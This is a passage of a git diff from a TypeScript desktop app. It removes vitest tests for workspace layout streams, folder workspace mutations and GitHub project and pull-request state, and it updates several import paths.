   CAPABLE,
   ENV,
-  LEAF_ID,
   WT,
   SERVER_LAYOUT,
   createFakeLayoutStreams,
   createServerHarness,
-  mirrorSnapshot,
-  serverLayout,
-  serverTerminalTab,
   senderSnapshot,
-  sessionTabs,
   settle,
-  surface,
   treeOf
 } from './testing/server-layout-frames.test-fixture'
 import {
@@ -74,7 +68,6 @@ const streams = createFakeLayoutStreams()
 hoisted.subscribe = streams.subscribe
 
 const TAB_1 = toWebTerminalSurfaceTabId('host-tab-1')
-const OTHER_WT = 'repo::/other-worktree'
 const { setServers, mirroredStore, install, uninstallAll } = createServerHarness(hoisted)
 
 beforeEach(() => {
@@ -89,58 +82,6 @@ beforeEach(() => {
 afterEach(uninstallAll)
 
 describe('which servers get a layout stream', () => {
-  it('leaves every workspace of an older server to the mirror', async () => {
-    const store = mirroredStore()
-    install(store)
-    setServers(store, [{ ...CAPABLE, capable: false }])
-    await settle()
-
-    // Presence: the server is paired and connected, and its workspace mirrored.
-    expect(store.getState().runtimeEnvironments.map((environment) => environment.id)).toEqual([ENV])
-    expect(store.getState().runtimeStatusByEnvironmentId.get(ENV)?.status?.runtimeId).toBe(
-      'runtime-1'
-    )
-    expect(store.getState().tabsByWorktree[WT]?.map((tab) => tab.id)).toEqual([TAB_1])
-    expect(streams.all).toEqual([])
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(false)
-    // The mirror still writes the layout: a renamed tab shows.
-    mirrorSnapshot(
-      store,
-      ENV,
-      sessionTabs([{ ...surface('host-tab-1', LEAF_ID, 'terminal-1'), title: 'renamed' }], 2)
-    )
-    expect(store.getState().tabsByWorktree[WT]?.[0]?.title).toBe('renamed')
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(false)
-  })
-
-  it.each([
-    ['a new runtime id', { runtimeId: 'runtime-1b' }],
-    ['a new pairing revision', { pairingRevision: 2 }]
-  ] as const)('replaces the stream on %s without handing back first', async (_, change) => {
-    const store = mirroredStore()
-    install(store)
-    setServers(store, [CAPABLE])
-    const first = streams.openTo(ENV)
-    streams.send(first, {
-      type: 'snapshot',
-      workspaces: [{ key: WT, layout: SERVER_LAYOUT }],
-      seq: 1,
-      epoch: 'e'
-    })
-    await settle()
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(true)
-
-    setServers(store, [{ ...CAPABLE, ...change }])
-    await settle()
-
-    expect(first.closed).toBe(true)
-    const second = streams.openTo(ENV)
-    expect(second).not.toBe(first)
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(true)
-    expect(hoisted.resync).not.toHaveBeenCalled()
-    expect(store.getState().tabsByWorktree[WT]?.map((tab) => tab.id)).toEqual([TAB_1])
-  })
-
   it.each(['lost', 'refused'] as const)(
     'hands the workspaces back when the replacement is %s before its snapshot',
     async (state) => {
@@ -168,66 +109,6 @@ describe('which servers get a layout stream', () => {
   )
 })
 
-describe('frames to mirror', () => {
-  it.each(['lost', 'refused'] as const)(
-    'clears the gate and resyncs each workspace when the stream is %s, keeping the frame tree until then',
-    async (state) => {
-      const store = mirroredStore()
-      hoisted.owners.set(OTHER_WT, ENV)
-      mirrorSnapshot(store, ENV, {
-        ...sessionTabs([surface('host-tab-9', LEAF_ID, 'terminal-9')], 1),
-        worktree: OTHER_WT
-      })
-      install(store)
-      setServers(store, [CAPABLE])
-      const stream = streams.openTo(ENV)
-      streams.send(stream, {
-        type: 'snapshot',
-        workspaces: [
-          { key: WT, layout: SERVER_LAYOUT },
-          {
-            key: OTHER_WT,
-            layout: {
-              ...serverLayout([serverTerminalTab('host-tab-9', LEAF_ID, 'server-pty-9')]),
-              worktreeId: OTHER_WT
-            }
-          }
-        ],
-        seq: 1,
-        epoch: 'e'
-      })
-      await settle()
-      expect([
-        isFrameDrawnServerWorkspace(ENV, WT),
-        isFrameDrawnServerWorkspace(ENV, OTHER_WT)
-      ]).toEqual([true, true])
-      const frameTree = treeOf(store.getState(), WT)
-      expect(frameTree.tabIds).toEqual([TAB_1])
-      // The resync never answers here: whatever the store shows meanwhile is the frames'.
-      hoisted.resync.mockReturnValue(new Promise(() => {}))
-      const states: AppState[] = []
-      const stop = store.subscribe((next) => states.push(next))
-
-      stream.onStatus(state === 'lost' ? { state } : { state, code: 'forbidden' })
-      await settle()
-      stop()
-
-      expect([
-        isFrameDrawnServerWorkspace(ENV, WT),
-        isFrameDrawnServerWorkspace(ENV, OTHER_WT)
-      ]).toEqual([false, false])
-      expect(hoisted.resync.mock.calls).toEqual([
-        [ENV, WT],
-        [ENV, OTHER_WT]
-      ])
-      expect(treeOf(store.getState(), WT)).toEqual(frameTree)
-      for (const recorded of states) {
-        expect(treeOf(recorded, WT)).toEqual(frameTree)
-      }
-    }
-  )
-})
-
 describe('a workspace that turns out to be the server’s after its snapshot', () => {
   it('stays the mirror’s until routing names its owner, then draws from frames until the stream stops', async () => {
     const store = mirroredStore()
diff --git a/src/renderer/src/runtime/workspace-layout/server/server-layout-frames.ts b/src/renderer/src/runtime/workspace-layout/server/server-layout-frames.ts
index 01077228491..7dca534717d 100644
--- a/src/renderer/src/runtime/workspace-layout/server/server-layout-frames.ts
+++ b/src/renderer/src/runtime/workspace-layout/server/server-layout-frames.ts
@@ -17,7 +17,7 @@ import {
   DESKTOP_CREATED_SERVER_TAB_HOLDS,
   forgetPublishedServerTabs,
   pruneDesktopCreatedServerTabs
-} from '@/lib/desktop-created-server-tabs'
+} from '@/store/workspace-layout/frames/desktop-created-server-tabs'
 import { serverHeldPanes, showServerLayoutHeldPanes } from './server-held-panes'
 import { createServerViewReport, onServerControlConnected } from './server-layout-view-report'
 import { openWorkspaceLayoutFrameSync } from '../frames/workspace-layout-frame-sync'
diff --git a/src/renderer/src/ssh/node-dist-mirror-recovery.ts b/src/renderer/src/ssh/node-dist-mirror-recovery.ts
index de661bfed8c..bceed52c150 100644
--- a/src/renderer/src/ssh/node-dist-mirror-recovery.ts
+++ b/src/renderer/src/ssh/node-dist-mirror-recovery.ts
@@ -5,8 +5,8 @@ import {
 } from '../../../shared/node-dist-mirror'
 import type { SshManagedServerStatus } from '../../../shared/ssh-types'
 import { translate } from '@/i18n/i18n'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
-import { useAppStore } from '@/store'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
+import { useAppStore } from '@/store/index'
 import {
   isSshConnectInFlight,
   subscribeSshConnectInFlight,
diff --git a/src/renderer/src/store/folder-workspaces/folder-workspace-mutations.ts b/src/renderer/src/store/folder-workspaces/folder-workspace-mutations.ts
index 810720a264a..25e87aff07d 100644
--- a/src/renderer/src/store/folder-workspaces/folder-workspace-mutations.ts
+++ b/src/renderer/src/store/folder-workspaces/folder-workspace-mutations.ts
@@ -20,7 +20,7 @@ import {
 import { FolderWorkspaceUpdateCoordinator } from './folder-workspace-update-coordinator'
 import type { FolderWorkspaceUpdates, RepoSlice } from '../repos/repo-state'
 import { adoptFromEndpoint } from '../host-catalog/endpoint-catalog-adoption'
-import { holdCreatedSidebarWorkspace } from '@/lib/sidebar-pending-layer'
+import { holdCreatedSidebarWorkspace } from '@/components/sidebar/sidebar-feed/sidebar-pending-layer'
 import {
   folderWorkspaceOwnerTarget,
   folderWorkspaceUpdateInvalidatesPathStatus,
diff --git a/src/renderer/src/store/folder-workspaces/folder-workspace-owner-routed-mutations.test.ts b/src/renderer/src/store/folder-workspaces/folder-workspace-owner-routed-mutations.test.ts
index 6e1f6940956..f707292c3fe 100644
--- a/src/renderer/src/store/folder-workspaces/folder-workspace-owner-routed-mutations.test.ts
+++ b/src/renderer/src/store/folder-workspaces/folder-workspace-owner-routed-mutations.test.ts
@@ -1,6 +1,4 @@
-import { createGlobalSettingsFixture } from '../../../../shared/global-settings-test-fixture'
-import { WORKTREE_LINKED_ITEMS_RUNTIME_CAPABILITY } from '../../../../shared/workspace-attachments/workspace-attachment-capabilities'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { beforeEach, expect, it, vi } from 'vitest'
 import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types'
 import type { ProjectGroup } from '../../../../shared/project-group-types'
 import {
@@ -71,329 +69,6 @@ beforeEach(() => {
   })
 })
 
-describe('folder workspace owner-routed mutations', () => {
-  it('updates inherited folder metadata and batches on the qualified physical row', async () => {
-    const inherited = makeFolderWorkspace({ projectGroupId: 'inherited', folderPath: '/remote' })
-    const local = makeFolderWorkspace({ executionHostId: 'local', folderPath: '/local' })
-    const store = createTestStore()
-    store.setState({
-      repos: [],
-      activeWorktreeId: folderWorkspaceKey(inherited.id),
-      activeWorkspaceExecutionHostId: 'runtime:env-owner',
-      projectGroups: [
-        {
-          ...projectGroup,
-          id: 'inherited',
-          executionHostId: 'runtime:env-owner',
-          connectionId: 'box'
-        }
-      ],
-      folderWorkspaces: [local, inherited]
-    })
-    let remote = inherited
-    runtimeEnvironmentCall.mockImplementation(async (args: RuntimeEnvironmentCallRequest) => {
-      const updates = args.params?.updates
-      if (!updates || typeof updates !== 'object') {
-        throw new Error('Missing update payload')
-      }
-      remote = { ...remote, ...updates }
-      return { id: 'write', ok: true, result: { folderWorkspace: remote } }
-    })
-    await expect(
-      store
-        .getState()
-        .updateWorktreeMeta(
-          folderWorkspaceKey(inherited.id),
-          { comment: 'kept on server' },
-          { executionHostId: 'runtime:env-owner' }
-        )
-    ).resolves.toEqual({ ok: true })
-    await store
-      .getState()
-      .updateWorktreesMeta([
-        { worktreeId: folderWorkspaceKey(inherited.id), updates: { manualOrder: 9 } }
-      ])
-    expect(
-      runtimeEnvironmentCall.mock.calls.filter(([args]) => args.method === 'folderWorkspace.update')
-        .length
-    ).toBe(2)
-    expect(store.getState().folderWorkspaces.find((row) => row.folderPath === '/local')).toBe(local)
-    expect(
-      store.getState().folderWorkspaces.find((row) => row.folderPath === '/remote')
-    ).toMatchObject({ comment: 'kept on server', manualOrder: 9 })
-  })
-
-  it('reports failure when the host drops an attachment collection', async () => {
-    const folderWorkspace = makeFolderWorkspace()
-    folderWorkspacesUpdate.mockResolvedValue(folderWorkspace)
-    folderWorkspacesList.mockResolvedValue([folderWorkspace])
-    const store = createTestStore()
-    store.setState({
-      projectGroups: [{ ...projectGroup, executionHostId: 'local' }],
-      folderWorkspaces: [folderWorkspace]
-    })
-    const result = await store.getState().updateFolderWorkspace(folderWorkspace.id, {
-      linkedItems: [{ provider: 'linear', type: 'issue', number: 0, identifier: 'ENG-42' }]
-    })
-    expect(result).toBe(false)
-    expect(store.getState().folderWorkspaces[0]?.linkedItems).toBeUndefined()
-  })
-
-  it('ignores an older response after the same field changes again', async () => {
-    const folderWorkspace = makeFolderWorkspace()
-    let resolveOlder!: (workspace: FolderWorkspace) => void
-    let resolveNewer!: (workspace: FolderWorkspace) => void
-    folderWorkspacesUpdate
-      .mockImplementationOnce(
-        () =>
-          new Promise<FolderWorkspace>((resolve) => {
-            resolveOlder = resolve
-          })
-      )
-      .mockImplementationOnce(
-        () =>
-          new Promise<FolderWorkspace>((resolve) => {
-            resolveNewer = resolve
-          })
-      )
-    const store = createTestStore()
-    store.setState({
-      projectGroups: [{ ...projectGroup, executionHostId: 'local' }],
-      folderWorkspaces: [folderWorkspace]
-    })
-
-    const olderUpdate = store
-      .getState()
-      .updateFolderWorkspace(folderWorkspace.id, { isUnread: true })
-    const newerUpdate = store
-      .getState()
-      .updateFolderWorkspace(folderWorkspace.id, { isUnread: false })
-    resolveNewer({ ...folderWorkspace, isUnread: false, updatedAt: 3 })
-    await newerUpdate
-    resolveOlder({ ...folderWorkspace, isUnread: true, updatedAt: 2 })
-    await olderUpdate
-
-    expect(store.getState().folderWorkspaces[0]?.isUnread).toBe(false)
-    expect(store.getState().folderWorkspaces[0]?.updatedAt).toBe(3)
-  })
-
-  it('does not share update generations between store instances', async () => {
-    const folderWorkspace = makeFolderWorkspace()
-    folderWorkspacesUpdate
-      .mockResolvedValueOnce({ ...folderWorkspace, comment: 'First store' })
-      .mockResolvedValueOnce({ ...folderWorkspace, comment: 'Second store' })
-    const firstStore = createTestStore()
-    const secondStore = createTestStore()
-    for (const store of [firstStore, secondStore]) {
-      store.setState({
-        projectGroups: [{ ...projectGroup, executionHostId: 'local' }],
-        folderWorkspaces: [folderWorkspace]
-      })
-    }
-
-    await Promise.all([
-      firstStore.getState().updateFolderWorkspace(folderWorkspace.id, { comment: 'First store' }),
-      secondStore.getState().updateFolderWorkspace(folderWorkspace.id, { comment: 'Second store' })
-    ])
-
-    expect(firstStore.getState().folderWorkspaces[0]?.comment).toBe('First store')
-    expect(secondStore.getState().folderWorkspaces[0]?.comment).toBe('Second store')
-  })
-
-  it('does not apply an update response over a newer catalog refresh', async () => {
-    const folderWorkspace = makeFolderWorkspace()
-    let resolveUpdate!: (workspace: FolderWorkspace) => void
-    folderWorkspacesUpdate.mockImplementation(
-      () =>
-        new Promise<FolderWorkspace>((resolve) => {
-          resolveUpdate = resolve
-        })
-    )
-    folderWorkspacesList.mockResolvedValue([{ ...folderWorkspace, isUnread: false, updatedAt: 3 }])
-    const store = createTestStore()
-    store.setState({
-      projectGroups: [{ ...projectGroup, executionHostId: 'local' }],
-      folderWorkspaces: [folderWorkspace]
-    })
-
-    const pendingUpdate = store
-      .getState()
-      .updateFolderWorkspace(folderWorkspace.id, { isUnread: true })
-    await store.getState().fetchFolderWorkspaces(catalogOwner(store))
-    resolveUpdate({ ...folderWorkspace, isUnread: true, updatedAt: 2 })
-    await pendingUpdate
-
-    expect(store.getState().folderWorkspaces[0]?.isUnread).toBe(false)
-    expect(store.getState().folderWorkspaces[0]?.updatedAt).toBe(3)
-  })
-
-  it('does not fence a runtime update when the local same-ID catalog refreshes', async () => {
-    const localWorkspace = makeFolderWorkspace({ updatedAt: 3 })
-    const runtimeWorkspace = {
-      ...makeFolderWorkspace(),
-      executionHostId: 'runtime:env-owner' as const
-    }
-    let resolveRuntimeUpdate!: (response: {
-      id: string
-      ok: true
-      result: { folderWorkspace: FolderWorkspace }
-      _meta: { runtimeId: string }
-    }) => void
-    runtimeEnvironmentCall.mockImplementation(
-      () =>
-        new Promise((resolve) => {
-          resolveRuntimeUpdate = resolve
-        })
-    )
-    folderWorkspacesList.mockResolvedValue([localWorkspace])
-    const store = createTestStore()
-    store.setState({
-      projectGroups: [{ ...projectGroup, executionHostId: 'local' }],
-      folderWorkspaces: [localWorkspace, runtimeWorkspace]
-    })
-
-    const pendingUpdate = store
-      .getState()
-      .updateFolderWorkspace(
-        runtimeWorkspace.id,
-        { isUnread: true },
-        { executionHostId: 'runtime:env-owner' }
-      )
-    await vi.waitFor(() => expect(runtimeEnvironmentCall).toHaveBeenCalledTimes(1))
-    await store.getState().fetchFolderWorkspaces({ runtimeEnvironmentId: null })
-    resolveRuntimeUpdate({
-      id: 'rpc-update-folder',
-      ok: true,
-      result: {
-        folderWorkspace: { ...runtimeWorkspace, isUnread: true, updatedAt: 2 }
-      },
-      _meta: { runtimeId: 'runtime-owner' }
-    })
-    await pendingUpdate
-
-    expect(store.getState().folderWorkspaces).toEqual([
-      { ...localWorkspace, executionHostId: 'local' },
-      { ...runtimeWorkspace, isUnread: true, updatedAt: 2 }
-    ])
-  })
-
-  it('reconciles optimistic fields when persistence fails', async () => {
-    const persisted = makeFolderWorkspace({ isUnread: true, updatedAt: 2 })
-    folderWorkspacesUpdate.mockResolvedValue(null)
-    folderWorkspacesList.mockResolvedValue([persisted])
-    const store = createTestStore()
-    store.setState({
-      projectGroups: [{ ...projectGroup, executionHostId: 'local' }],
-      folderWorkspaces: [{ ...persisted, isUnread: false }]
-    })
-
-    await expect(
-      store.getState().updateFolderWorkspace(persisted.id, { isUnread: false })
-    ).resolves.toBe(false)
-
-    expect(folderWorkspacesList).toHaveBeenCalledTimes(1)
-    expect(store.getState().folderWorkspaces[0]?.isUnread).toBe(true)
-  })
-
-  it('deletes only the selected owner row when workspace IDs collide', async () => {
-    const localFolder = makeFolderWorkspace({ executionHostId: 'local' })
-    const runtimeFolder = makeFolderWorkspace({
-      name: 'Runtime collision',
-      folderPath: '/runtime/platform',
-      executionHostId: 'runtime:env-owner'
-    })
-    folderWorkspacesDelete.mockResolvedValue(true)
-    const store = createTestStore()
-    const shutdownWorktreeBrowsers = vi.fn().mockResolvedValue(undefined)
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: null } as never,
-      activeWorktreeId: `folder:${localFolder.id}`,
-      activeWorkspaceExecutionHostId: 'local',
-      projectGroups: [
-        { ...projectGroup, executionHostId: 'local' },
-        { ...projectGroup, executionHostId: 'runtime:env-owner' }
-      ],
-      folderWorkspaces: [localFolder, runtimeFolder],
-      shutdownWorktreeBrowsers
-    })
-
-    await expect(store.getState().deleteFolderWorkspace(localFolder.id)).resolves.toBe(true)
-
-    expect(folderWorkspacesDelete).toHaveBeenCalledWith({
-      folderWorkspaceId: localFolder.id
-    })
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    // Delete is owner-scoped: the sibling host's row keeps the bare ID alive.
-    expect(store.getState().folderWorkspaces).toEqual([runtimeFolder])
-    expect(shutdownWorktreeBrowsers).not.toHaveBeenCalled()
-  })
-
-  it('deletes only the host-qualified folder when ids collide', async () => {
-    const localFolder = makeFolderWorkspace({ executionHostId: 'local' })
-    const runtimeFolder = makeFolderWorkspace({ executionHostId: 'runtime:env-owner' })
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-delete-folder',
-      ok: true,
-      result: { deleted: true },
-      _meta: { runtimeId: 'runtime-owner' }
-    })
-    const store = createTestStore()
-    store.setState({
-      activeWorktreeId: `folder:${runtimeFolder.id}`,
-      activeWorkspaceExecutionHostId: 'runtime:env-owner',
-      settings: { activeRuntimeEnvironmentId: 'env-owner' } as never,
-      projectGroups: [{ ...projectGroup, executionHostId: 'local' }],
-      folderWorkspaces: [localFolder, runtimeFolder]
-    })
-
-    await expect(
-      store
-        .getState()
-        .deleteFolderWorkspace(runtimeFolder.id, { executionHostId: 'runtime:env-owner' })
-    ).resolves.toBe(true)
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'env-owner',
-      method: 'folderWorkspace.delete',
-      params: { folderWorkspaceId: runtimeFolder.id },
-      timeoutMs: 15_000
-    })
-    expect(store.getState().folderWorkspaces).toEqual([localFolder])
-  })
-  it('refuses collection creation before an old runtime strips attachments', async () => {
-    runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      const status = createCompatibleRuntimeStatusResponseIfNeeded(args)
-      if (status?.ok) {
-        status.result.capabilities = (status.result.capabilities ?? []).filter(
-          (capability) => capability !== WORKTREE_LINKED_ITEMS_RUNTIME_CAPABILITY
-        )
-        return status
-      }
-      return runtimeEnvironmentCall(args)
-    })
-    const store = createTestStore()
-    store.setState({
-      settings: createGlobalSettingsFixture({ activeRuntimeEnvironmentId: 'env-old' })
-    })
-    await expect(
-      store
-        .getState()
-        .createFolderWorkspace(
-          { projectGroupId: projectGroup.id, linkedItems: [] },
-          { runtimeEnvironmentId: 'env-old' }
-        )
-    ).rejects.toThrow('Update the remote runtime')
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-  })
-})
-
-// The catalog these tests read is the one the focused host would have shown.
-function catalogOwner(store: {
-  getState: () => { settings: { activeRuntimeEnvironmentId?: string | null } | null }
-}): { runtimeEnvironmentId: string | null } {
-  return { runtimeEnvironmentId: store.getState().settings?.activeRuntimeEnvironmentId ?? null }
-}
-
 import * as composerDrafts from '@/components/native-chat/drafts/native-chat-draft-reset'
 import * as composerDraftsOwner1 from '@/components/native-chat/drafts/native-chat-launch-draft-source'
 import * as composerDraftsOwner2 from '@/components/native-chat/drafts/native-chat-composer-draft-store'
diff --git a/src/renderer/src/store/github/projects/github-project-row-owner.ts b/src/renderer/src/store/github/projects/github-project-row-owner.ts
index 72615ac23a3..6b7a8f40d69 100644
--- a/src/renderer/src/store/github/projects/github-project-row-owner.ts
+++ b/src/renderer/src/store/github/projects/github-project-row-owner.ts
@@ -2,7 +2,7 @@ import type { GlobalSettings } from '../../../../../shared/global-settings-types
 import type { Repo } from '../../../../../shared/repo-types'
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 import { runtimeTargetForRepoOwner } from '@/lib/workspace/ownership/repo-runtime-owner'
-import { lookupReposBySlugFromCache } from '@/lib/repo-slug-cache'
+import { lookupReposBySlugFromCache } from '@/lib/workspace/catalog/repo-slug-cache'
 
 type RepoOwnerState = {
   repos: readonly Repo[]
diff --git a/src/renderer/src/store/github/projects/github-project-view-tables.test.ts b/src/renderer/src/store/github/projects/github-project-view-tables.test.ts
deleted file mode 100644
index 3d9e6c3c6b8..00000000000
--- a/src/renderer/src/store/github/projects/github-project-view-tables.test.ts
+++ /dev/null
@@ -1,96 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { projectViewCacheKey } from '../cache/cache-identity'
-import {
-  createTestStore,
-  mockApi,
-  resetRemoteRuntimeMocks,
-  runtimeEnvironmentCall
-} from '../github-slice-test-harness'
-import type { AppState } from '../../types'
-
-describe('createGitHubSlice.fetchWorkItems source/error envelope', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-1',
-      ok: true,
-      result: {
-        items: [],
-        sources: { issues: null, prs: null, originCandidate: null, upstreamCandidate: null }
-      },
-      _meta: { runtimeId: 'remote-runtime' }
-    })
-  })
-
-  it('optimistically patches a project field and rolls back an ok:false result', async () => {
-    const store = createTestStore()
-    const cacheKey = projectViewCacheKey('organization', 'acme', 1, 'view-1')
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: null },
-      projectViewCache: {
-        [cacheKey]: {
-          fetchedAt: 1,
-          data: {
-            project: {
-              id: 'project-1',
-              owner: 'acme',
-              ownerType: 'organization',
-              number: 1,
-              title: 'Roadmap',
-              url: 'https://github.com/orgs/acme/projects/1'
-            },
-            selectedView: {
-              id: 'view-1',
-              number: 1,
-              name: 'Table',
-              layout: 'TABLE_LAYOUT',
-              filter: '',
-              fields: [{ id: 'field-1', name: 'Notes', dataType: 'TEXT', kind: 'text' }],
-              groupByFields: [],
-              sortByFields: []
-            },
-            rows: [
-              {
-                id: 'row-1',
-                itemType: 'ISSUE',
-                content: {
-                  repository: 'acme/repo',
-                  number: 12,
-                  title: 'Issue',
-                  body: '',
-                  url: 'https://github.com/acme/repo/issues/12',
-                  state: 'OPEN',
-                  labels: [],
-                  assignees: [],
-                  issueType: null,
-                  parentIssue: null
-                },
-                fieldValuesByFieldId: {
-                  'field-1': { kind: 'text', fieldId: 'field-1', text: 'before' }
-                }
-              }
-            ],
-            totalCount: 1,
-            parentFieldDropped: false
-          }
-        }
-      }
-    } as unknown as Partial<AppState>)
-    const mutationResult = Promise.withResolvers<{ ok: false; error: string }>()
-    mockApi.gh.updateProjectItemField.mockReturnValueOnce(mutationResult.promise)
-
-    const mutation = store
-      .getState()
-      .updateProjectFieldValue(cacheKey, 'row-1', 'field-1', { kind: 'text', text: 'after' })
-    expect(
-      store.getState().projectViewCache[cacheKey]?.data?.rows[0]?.fieldValuesByFieldId['field-1']
-    ).toEqual({ kind: 'text', fieldId: 'field-1', text: 'after' })
-
-    mutationResult.resolve({ ok: false, error: 'rejected' })
-    await expect(mutation).resolves.toEqual({ ok: false, error: 'rejected' })
-    expect(
-      store.getState().projectViewCache[cacheKey]?.data?.rows[0]?.fieldValuesByFieldId['field-1']
-    ).toEqual({ kind: 'text', fieldId: 'field-1', text: 'before' })
-  })
-})
diff --git a/src/renderer/src/store/github/projects/project-field-mutations.test.ts b/src/renderer/src/store/github/projects/project-field-mutations.test.ts
index 8821df91855..3a455893f3f 100644
--- a/src/renderer/src/store/github/projects/project-field-mutations.test.ts
+++ b/src/renderer/src/store/github/projects/project-field-mutations.test.ts
@@ -103,27 +103,6 @@ beforeEach(() => {
 })
 
 describe('project field writes', () => {
-  it('keeps rapid moves optimistic and sends update then clear in order', async () => {
-    const store = setup()
-    const first = deferred()
-    mockApi.gh.updateProjectItemField.mockReturnValueOnce(first.promise)
-    mockApi.gh.clearProjectItemField.mockResolvedValueOnce({ ok: true })
-    const update = store
-      .getState()
-      .updateProjectFieldValue(key, 'row', 'status', { kind: 'single-select', optionId: 'done' })
-    expect(field(store)).toMatchObject({ optionId: 'done', name: 'Done', color: 'PURPLE' })
-
-    const clear = store.getState().clearProjectFieldValue(key, 'row', 'status')
-    expect(field(store)).toBeUndefined()
-
-    await vi.waitFor(() => expect(mockApi.gh.updateProjectItemField).toHaveBeenCalledTimes(1))
-    expect(mockApi.gh.clearProjectItemField).not.toHaveBeenCalled()
-    first.resolve({ ok: true })
-    await Promise.all([update, clear])
-
-    expect(field(store)).toBeUndefined()
-  })
-
   it.each([true, false])(
     'rolls a failed clear back to the last confirmed value (first succeeds: %s)',
     async (succeeds) => {
@@ -173,27 +152,6 @@ describe('project field writes', () => {
     ).toMatchObject({ optionId: 'todo' })
   })
 
-  it('preserves a successful edit to a different field when status rolls back', async () => {
-    const store = setup()
-    const first = deferred()
-    mockApi.gh.updateProjectItemField
-      .mockReturnValueOnce(first.promise)
-      .mockResolvedValueOnce({ ok: true })
-    const update1 = store
-      .getState()
-      .updateProjectFieldValue(key, 'row', 'status', { kind: 'single-select', optionId: 'done' })
-    const update2 = store
-      .getState()
-      .updateProjectFieldValue(key, 'row', 'notes', { kind: 'text', text: 'Keep this' })
-    await vi.waitFor(() => expect(mockApi.gh.updateProjectItemField).toHaveBeenCalledTimes(2))
-    first.resolve(failed)
-    await Promise.all([update1, update2])
-    expect(field(store)).toMatchObject({ optionId: 'todo' })
-    expect(
-      store.getState().projectViewCache[key]?.data?.rows[0]?.fieldValuesByFieldId.notes
-    ).toMatchObject({ text: 'Keep this' })
-  })
-
   it('does not roll back a newer clear when two clear requests overlap', async () => {
     const store = setup()
     const first = deferred()
@@ -211,18 +169,6 @@ describe('project field writes', () => {
     expect(field(store)).toBeUndefined()
   })
 
-  it('preserves a concurrent content edit when a field transport throws', async () => {
-    const store = setup()
-    mockApi.gh.updateProjectItemField.mockRejectedValueOnce(new Error('Transport closed'))
-    const request = store
-      .getState()
-      .updateProjectFieldValue(key, 'row', 'status', { kind: 'single-select', optionId: 'done' })
-    store.getState().patchProjectRowContent(key, 'row', { title: 'Edited' })
-    expect(await request).toMatchObject({ ok: false, error: { message: 'Transport closed' } })
-    expect(field(store)).toMatchObject({ optionId: 'todo' })
-    expect(store.getState().projectViewCache[key]?.data?.rows[0]?.content.title).toBe('Edited')
-  })
-
   it('uses a refreshed value as the rollback baseline for a subsequently queued edit', async () => {
     const store = setup()
     const first = deferred()
@@ -245,17 +191,4 @@ describe('project field writes', () => {
     await Promise.all([update, clear])
     expect(field(store)).toMatchObject({ optionId: 'doing' })
   })
-
-  it('preserves an authoritative refresh instead of rolling back a failed clear', async () => {
-    const store = setup()
-    const response = deferred()
-    mockApi.gh.clearProjectItemField.mockReturnValueOnce(response.promise)
-    const request = store.getState().clearProjectFieldValue(key, 'row', 'status')
-    const refreshed = fixture()
-    delete refreshed.rows[0].fieldValuesByFieldId.status
-    store.setState({ projectViewCache: { [key]: { data: refreshed, fetchedAt: 2 } } })
-    response.resolve(failed)
-    await request
-    expect(field(store)).toBeUndefined()
-  })
 })
diff --git a/src/renderer/src/store/github/pull-requests/github-linked-review-clear-ownership.test.ts b/src/renderer/src/store/github/pull-requests/github-linked-review-clear-ownership.test.ts
index cd38b18fb40..1953641f01e 100644
--- a/src/renderer/src/store/github/pull-requests/github-linked-review-clear-ownership.test.ts
+++ b/src/renderer/src/store/github/pull-requests/github-linked-review-clear-ownership.test.ts
@@ -127,102 +127,6 @@ describe('linked review clearing retains workspace and credential identities', (
     vi.restoreAllMocks()
   })
 
-  for (const stamped of [false, true]) {
-    it.each(['cache', 'lookup', 'coordinator'] as const)(
-      `persists the paired copy through %s (stamp: ${stamped})`,
-      async (route) => {
-        const { store, workspace, sibling, update, key, alias, options } = setup(stamped)
-        if (route === 'cache') {
-          store.setState({ prCache: { [key]: { data: diverged, fetchedAt: NOW } } })
-        }
-        if (route === 'coordinator') {
-          store.getState().applyGitHubPRRefreshEvent({
-            sequence: 71,
-            reason: 'swr',
-            aliases: [alias],
-            status: 'in-flight',
-            requestStartedAt: NOW
-          })
-          store.getState().applyGitHubPRRefreshEvent({
-            sequence: 71,
-            reason: 'swr',
-            aliases: [alias],
-            outcome: { kind: 'found', pr: diverged, fetchedAt: NOW }
-          })
-        } else {
-          await store.getState().fetchPRForBranch(repository.path, branch, options)
-        }
-        await update.mock.results[0]?.value
-
-        expect(
-          findKnownWorktreeById(store.getState(), workspace.id, 'ssh:builder')?.linkedPR
-        ).toBeNull()
-        expect(findKnownWorktreeById(store.getState(), workspace.id, 'local')).toBe(sibling)
-        expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-          expect.objectContaining({
-            selector: 'server',
-            method: 'worktree.set',
-            params: expect.objectContaining({
-              worktree: `identity:${workspace.identity?.key}`,
-              linkedPR: null
-            })
-          })
-        )
-      }
-    )
-  }
-
-  it.each(['lookup', 'coordinator'] as const)(
-    'persists a branch-mismatch clear through %s',
-    async (route) => {
-      const { store, workspace, sibling, update, alias, options } = setup(true)
-      const mismatch = makePR({
-        number: 12,
-        state: 'open',
-        headSha: 'old-head',
-        headRefName: 'feature/old'
-      })
-      runtimeEnvironmentCall.mockImplementation(({ method }) => ({
-        id: method,
-        ok: true,
-        result: method === 'github.prForBranch' ? mismatch : {},
-        _meta: { runtimeId: 'server' }
-      }))
-      if (route === 'lookup') {
-        await store.getState().fetchPRForBranch(repository.path, branch, options)
